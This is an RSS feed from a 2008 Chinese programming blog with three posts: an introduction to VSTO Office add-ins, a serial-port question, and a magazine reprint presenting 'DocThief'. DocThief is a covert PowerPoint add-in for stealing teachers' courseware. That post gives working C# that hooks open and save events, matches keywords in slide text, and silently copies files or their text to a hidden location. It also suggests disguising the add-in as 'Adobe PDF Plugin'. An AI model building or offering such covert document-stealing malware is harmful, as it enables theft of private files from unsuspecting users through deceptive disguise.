<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
  <channel>
    <title></title>
    <description></description>
    <link>http://wuys753.javaeye.com</link>
    <language>UTF-8</language>
    <copyright>Copyright 2003-2008, JavaEye.com</copyright>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <generator>JavaEye - 做最棒的软件开发交流社区</generator>
      <item>
        <title>初识VSTO</title>
        <author>wuys753</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://wuys753.javaeye.com">wuys753</a>&nbsp;
          链接：<a href="http://wuys753.javaeye.com/blog/193072" style="color:red;">http://wuys753.javaeye.com/blog/193072</a>&nbsp;
          发表时间: 2008年05月14日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          初识VSTO是在今年寒假，那时团队接到一个项目，是做一个Office的插件。刚接到这个项目，由于经验不足，我们根本无从下手，只能在网上闲逛，希望能遇到些有价值的东西。<br /><br />渐渐的，我们接触到了宏。实际上，在我们这个项目里，宏可能能够实现我们的目标，但却不太便于推广。于是，我们继续闲逛中。。。<br /><br />直到一周后的某天，我们才开始接触的VSTO这个名词。根据网上的资料，我们很快的熟知了VSTO，项目进度也提升了起来。<br /><br />说实话，我不太喜欢微软的东西，但鉴于Office的市场占有率，我还是推荐大家作一些VSTO开发。<br /><br />用VSTO 能实现许多意想不到的功能。你可以通过它去监测Office的各种动作，去添加各种shape，slide等等。基本上你能手工实现的功能，VSTO都能给你实现，这是一个多么美妙的工具啊！当然，想要实现手工能实现的所有功能并不是想想象中的那么简单，每一个shape的排版什么的，都需要花费大量的时间、精力。这便要求我们有足够的耐心，去挑战那些繁琐的工作，去尝试那些未知的错误。<br /><br />国内关于VSTO的书是少之有少，于是，我便将自己所用到的做了些总结，希望能给那些初识VSTO的人予他们想要的帮助，让他们对VSTO能有个初步的了解，能拥有你想要的个性的Office。。。<br /><br /> <br /><br />若各位对VSTO有兴趣，欢迎到我的博客www.5ushare.com，那里有且将会有更多VSTO的文章。
          <br/>
          <span style="color:red;">
            <a href="http://wuys753.javaeye.com/blog/193072#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/97' target='_blank'><span style="color:blue;font-weight:bold;">Oracle专区上线，有Oracle最新文章，重要下载及知识库等精彩内容，欢迎访问。</span></a></li><li><a href='/adverts/106' target='_blank'><span style="color:blue;font-weight:bold;">JavaEye问答大赛开始了！ 从6月23日 至 7月6日，奖品丰厚 ！</span></a></li><li><a href='/adverts/92' target='_blank'><span style="color:red;font-weight:bold;">快来参加7月17日在成都举行的SOA中国技术论坛</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 14 May 2008 18:34:10 +0800</pubDate>
        <link>http://wuys753.javaeye.com/blog/193072</link>
        <guid>http://wuys753.javaeye.com/blog/193072</guid>
      </item>
      <item>
        <title>再战数据库安全</title>
        <author>wuys753</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://wuys753.javaeye.com">wuys753</a>&nbsp;
          链接：<a href="http://wuys753.javaeye.com/blog/193071" style="color:red;">http://wuys753.javaeye.com/blog/193071</a>&nbsp;
          发表时间: 2008年05月14日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          这是一篇黑客防线5月刊上的文章，原文见http://www.5ushare.com/vsto/%e5%86%8d%e6%88%98office%e6%95%b0%e6%8d%ae%e5%ae%89%e5%85%a8.html<br /><br />作为学生，常常能碰到一些爱搞“隐私”的老师。这些老师往往不愿意轻易将自己的劳动成果给予他人。对于他们，咱们这些网络安全的爱好者也只能自己动手了。<br />现今来说，“拿”教师的课件的方法是一般有三种。其一是“U盘小偷”类软件，这类软件容易由于对工作条件要求比较高，一般“用户”都会将它置于启动项中，这样一来也未免有些过于招摇，而且这类软件拷贝的内容未经筛选，将取到大量无用文档，大大的浪费了咱们宝贵的容量；第二种便是“Easy Recovery”类软件，当老师把文档拷到本地的缓存文件夹时，这类软件能表现出非凡的能力，然而当老师直接在U盘的辅助存储器上播放课件时，这类软件也只能无力回天了。第三种是使用Office宏，但是由于宏的安全性这种方式有极大的限制性。<br />大家知道，MS Office提供了一系列插件接口，开发者可以通过调用其接口为Office开发新的特性。当这一个技术被非法利用的时候，一种新的方法诞生了：基于Office的插件系统开发数据盗窃软件。<br />我开发的DocThief ，是一款基于PowerPoint Com组件加载系统的数据盗窃软件。其主要功能是监控PowerPoint事件，当有打开或保存某文档时执行盗窃动作。盗窃方式包括下面一些步骤：扫描该文档，发现符合自定义的规则（存在某关键字），则将其内容储存。储存方式分两种，既直接复制文件，或只提取文字，保存为文本文件。<br />该软件的开发是基于Office 2005 + VSTO。VSTO全称VS Tool for Office，是开发Office的工具，可在微软官网下载得到。其安装较为简易，在此，我不多做介绍。装完这款软件后，咱们便能开始VSTO之旅了。打开VS，在“新建项目”窗口的C#或VB下便有了Office选项，点击，有PowerPoint外接程序等。如图1：<br />以下，我便直接从我的程序出发，给大家介绍一些简单的VSTO。<br />首先，便是程序中要用到的一些，变量，如下：<br />//目的文件名，默认值为”test.ppt”<br />private string Str_DesFileName = “test.ppt” ;<br />//目的文件路径，默认值为@”d:\”<br />private string Str_DesFilePath = @”d:\” ;<br />// 当前文档<br />//VSTO 中，一个ppt既是一个Presentation<br />private PowerPoint.Presentation CurPresention ;<br />//保存文件的线程<br />private System.Threading.Thread Thread_SaveFile ;<br />接下来便进入程序了，笔者将以程序运行顺序，依次给大家介绍重要内容。<br />VSTO 在加载时，会运行private void ThisAddIn_Startup( object sender, System.EventArgs e )，于是，咱们也就能在这儿进行初始化了。这款程序的初始化主要是读取用户的加载文件，如果需要既开始侦测事件。由于这是一款不太适合“招摇”的程序，因此也不可能在PowerPoint中写出一个加载项来让用户选择加载文件或填写各种信息，只能通过固定路径的方法来储存此加载文件。笔者在此是枚举所有盘符，并在各盘的根目录直接搜索此文件，若文件存在，则开始侦测，否则不侦测，代码如下：<br />string[] Tmp = Environment.GetLogicalDrives();<br />foreach ( string Str_Driver in Tmp )<br />{<br />if ( File.Exists ( Str_Driver + “Demand.dem” ) )<br />{<br />Str_DemandFilePath = Str_Driver + “Demand.dem”;<br />break;<br />}<br />}<br />if( string.Empty == Str_DemandFilePath )<br />{<br />return;<br />}<br />ReadDemand();<br />开及保存事件侦测代码如下：<br />this.Application.PresentationOpen +=<br />new Microsoft.Office.Interop.PowerPoint.EApplication_PresentationOpenEventHandler( this.PresentationOpen );<br />this.Application.PresentationSave +=<br />new Microsoft.Office.Interop.PowerPoint.EApplication_PresentationSaveEventHandler( this.App_PresentationSave );<br />this.PresentationOpen 及 this.App_PresentationSave 为自定义函数，但其参数已被限制，此内容将在后边介绍。<br />下面，咱们便进入加载文件的读取。加载文件的内容模板如下：<br />&lt; DesPath = @”d:\wuys” > &lt; DesName = “filename” > &lt; KeyWord = “hi” > &lt; IsOverwrite = false > &lt; CopyMode = OnlyText ><br />第一项为保存路径；第二项为文件名，当DesName为filename时，为原文件名；第三项为关键字，只当关键字存在时方拷贝文件，关键字可以有多项，也可以为空，为空时无论什么文件皆拷贝；第四项为同名时是否覆盖；最后一项为储存模式，有OnlyText或Copy两种选择。其具体内容，便是读取文件在解析表达式了，这段代码我就不写出来了。大家去光盘里面看看好了。<br />其中，有出现Is_ToCopy(Str_KeyWord)函数，这是一个bool型函数，主要功能是处理关键字。在当前文档中搜索关键字。若关键字存在，则返回true，表示此文档需要拷贝，否则返回false。<br />这个函数的是通过枚举的方法，将文档中的所有文字与Str_KeyWord相比较，若找到，则直接返回，否则继续，直至最后，返回false。以下，我便将这个函数全文拷贝过来，正好也能让大家了解一下VSTO中PowerPoint的结构。<br />private bool Is_ToCopy(string Str_KeyWord)<br />{<br />if (Str_KeyWord.Trim() == “”)<br />return true;<br />foreach (PowerPoint.Slide slide in this.Application.ActivePresentation.Slides)<br />{<br />foreach (PowerPoint.Shape shape in slide.Shapes)<br />{<br />//To see whether the Str_KeyWord exist in the Presentation<br />string tmp = shape.TextFrame.TextRange.Text;<br />int i = tmp.IndexOf(Str_KeyWord);<br />if (-1 != i )<br />return true;<br />}<br />}<br />return false;<br />}<br />在这两个foreach中，PowerPoint的结构比较清楚的展示出来了。其中，slide表示一页，shape则为一个元件，可以是 PowerPoint中你能加入的任何一种元素。到此为止，初始化就算完成了，接下去的便是事件的驱动了，咱们也离隐蔽的文档近了一步。<br />当事件发生时，咱们的函数也就跑了起来。由于侦测函数有严格的参数定义，以下全文给出。里边内容，大多前边都有介绍，便不多说了。<br />private void PresentationOpen(PowerPoint.Presentation presentation)<br />{<br /><br />Str_SourceFileName = presentation.Name;<br />Str_SourceFilePath = presentation.Path;<br />CurPresention = presentation;<br />if (Is_Copy)<br />{<br />Thread_SaveFile = new System.Threading.Thread(SaveFile);<br />Thread_SaveFile.Start();<br />}<br />}<br /><br />private void App_PresentationSave(PowerPoint.Presentation Pres)<br />{<br />if (Is_Copy)<br />{<br />SaveFile();<br />}<br />}<br />最后，便是咱们的保存文件函数了SaveFile()。<br />try<br />//容错<br />{<br />string Str_Des;<br />if (Is_OverWrite)<br />{<br />//此为覆盖模式，直接用路径加上文件名。<br />Str_Des = Str_DesFilePath + “\\” + Str_DesFileName;<br />}<br />else<br />{<br />//非覆盖模式。<br />string Str_FileName;<br />string Str_FileSuff;<br />//将文件名和后缀名分开。<br />int Int_Pos = Str_DesFileName.LastIndexOf(’.');<br />Str_FileName = Str_DesFileName.Substring(0, Int_Pos);<br />Str_FileSuff = Str_DesFileName.Substring(Int_Pos, Str_DesFileName.Length - Int_Pos);<br />if (File.Exists(Str_DesFilePath + “\\” + Str_DesFileName))<br />{<br />int i = 1;<br />//在文件名后边加数，以保证不覆盖其他文件。<br />while (File.Exists(Str_DesFilePath + “\\” + Str_FileName + i.ToString() + Str_FileSuff))<br />{<br />i++;<br />}<br />//由此便得到全路径及文件名。<br />Str_DesFileName = Str_FileName + i.ToString() + Str_FileSuff;<br />}<br />Str_Des = Str_DesFilePath + “\\” + Str_DesFileName;<br />}<br />if (0 == Int_CopyMode)<br />{<br />//拷贝模式。<br />File.Copy(Str_SourceFilePath + “\\” + Str_SourceFileName, Str_Des, true);<br />}<br />else<br />{<br />//纯文本模式。<br />StreamWriter SWrite = new StreamWriter(Str_Des);<br />//设置此属性后，SWrite能自动刷新内容，将缓存储存。防止某些错误发生而导致的信息丢失。<br />SWrite.AutoFlush = true;<br />//这个想必大家都不陌生了，在前面有类似的出现过。通过枚举来获得所有可视文字。<br />foreach (PowerPoint.Slide slide in this.Application.ActivePresentation.Slides)<br />{<br />//在最前面加上页面信息<br />SWrite.WriteLine(”Slide : Page ” + slide.SlideIndex.ToString());<br />SWrite.WriteLine();<br />foreach (PowerPoint.Shape shape in slide.Shapes)<br />{<br />//容错模式，若没有此项，则因某shape没有TextRange.Text发生错误时，此shape后所有信息都无法保存，对咱们是一个很大的损失。<br />try<br />{<br />string tmp = shape.TextFrame.TextRange.Text;<br />tmp.Replace(”\r”, “\n”);<br />SWrite.WriteLine(tmp);<br />}<br />catch (Exception Exception)<br />{<br />//异常处理<br />EventLog.WriteEntry(”SSPPDllMs”, “ERROR - ” + Exception.Message.ToString(), EventLogEntryType.Error);<br />}<br />}<br />SWrite.WriteLine();<br />}<br />SWrite.Close();<br />}<br />}<br />catch (Exception Exception)<br />{<br />//异常处理<br />EventLog.WriteEntry( “SSPPDllMs” , “ERROR - ” + Exception.Message.ToString(), EventLogEntryType.Error );<br />}<br />这样，咱们的文本小偷便完成了。咱们便能轻松“拿”到老师的隐蔽文档了。<br /><br />但是我的DocThief还有个问题，那就是在Office加载项里面会出现它可怜的身影，怎么办呢？我建议的解决方案是把他的名字改成Adobe PDF Plugin。这样就比较有迷惑性了…期待更好的解决方法，如果大家有什么好的想法和意见，请联系我吧。
          <br/>
          <span style="color:red;">
            <a href="http://wuys753.javaeye.com/blog/193071#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/97' target='_blank'><span style="color:blue;font-weight:bold;">Oracle专区上线，有Oracle最新文章，重要下载及知识库等精彩内容，欢迎访问。</span></a></li><li><a href='/adverts/92' target='_blank'><span style="color:red;font-weight:bold;">快来参加7月17日在成都举行的SOA中国技术论坛</span></a></li><li><a href='/adverts/106' target='_blank'><span style="color:blue;font-weight:bold;">JavaEye问答大赛开始了！ 从6月23日 至 7月6日，奖品丰厚 ！</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 14 May 2008 18:33:18 +0800</pubDate>
        <link>http://wuys753.javaeye.com/blog/193071</link>
        <guid>http://wuys753.javaeye.com/blog/193071</guid>
      </item>
      <item>
        <title>串口问题</title>
        <author>wuys753</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://wuys753.javaeye.com">wuys753</a>&nbsp;
          链接：<a href="http://wuys753.javaeye.com/blog/174650" style="color:red;">http://wuys753.javaeye.com/blog/174650</a>&nbsp;
          发表时间: 2008年03月21日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          最近做一个项目，当中有用到红外。但由于从未接触过，串口读起来总有些吃力。<br />    现在用的是SerialPort控件，然而，将常用的BaudRate都试了一遍，都不灵，按下遥控之后根本没反应。用过Girder<br />，挺好的，但是用另外几款网上找的资源，却依然没有反应，不知为何。还请各位指教指教，如初始化什么的，该如何进行。谢谢!
          <br/>
          <span style="color:red;">
            <a href="http://wuys753.javaeye.com/blog/174650#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/92' target='_blank'><span style="color:red;font-weight:bold;">快来参加7月17日在成都举行的SOA中国技术论坛</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/106' target='_blank'><span style="color:blue;font-weight:bold;">JavaEye问答大赛开始了！ 从6月23日 至 7月6日，奖品丰厚 ！</span></a></li><li><a href='/adverts/97' target='_blank'><span style="color:blue;font-weight:bold;">Oracle专区上线，有Oracle最新文章，重要下载及知识库等精彩内容，欢迎访问。</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 21 Mar 2008 22:44:07 +0800</pubDate>
        <link>http://wuys753.javaeye.com/blog/174650</link>
        <guid>http://wuys753.javaeye.com/blog/174650</guid>
      </item>
  </channel>
</rss>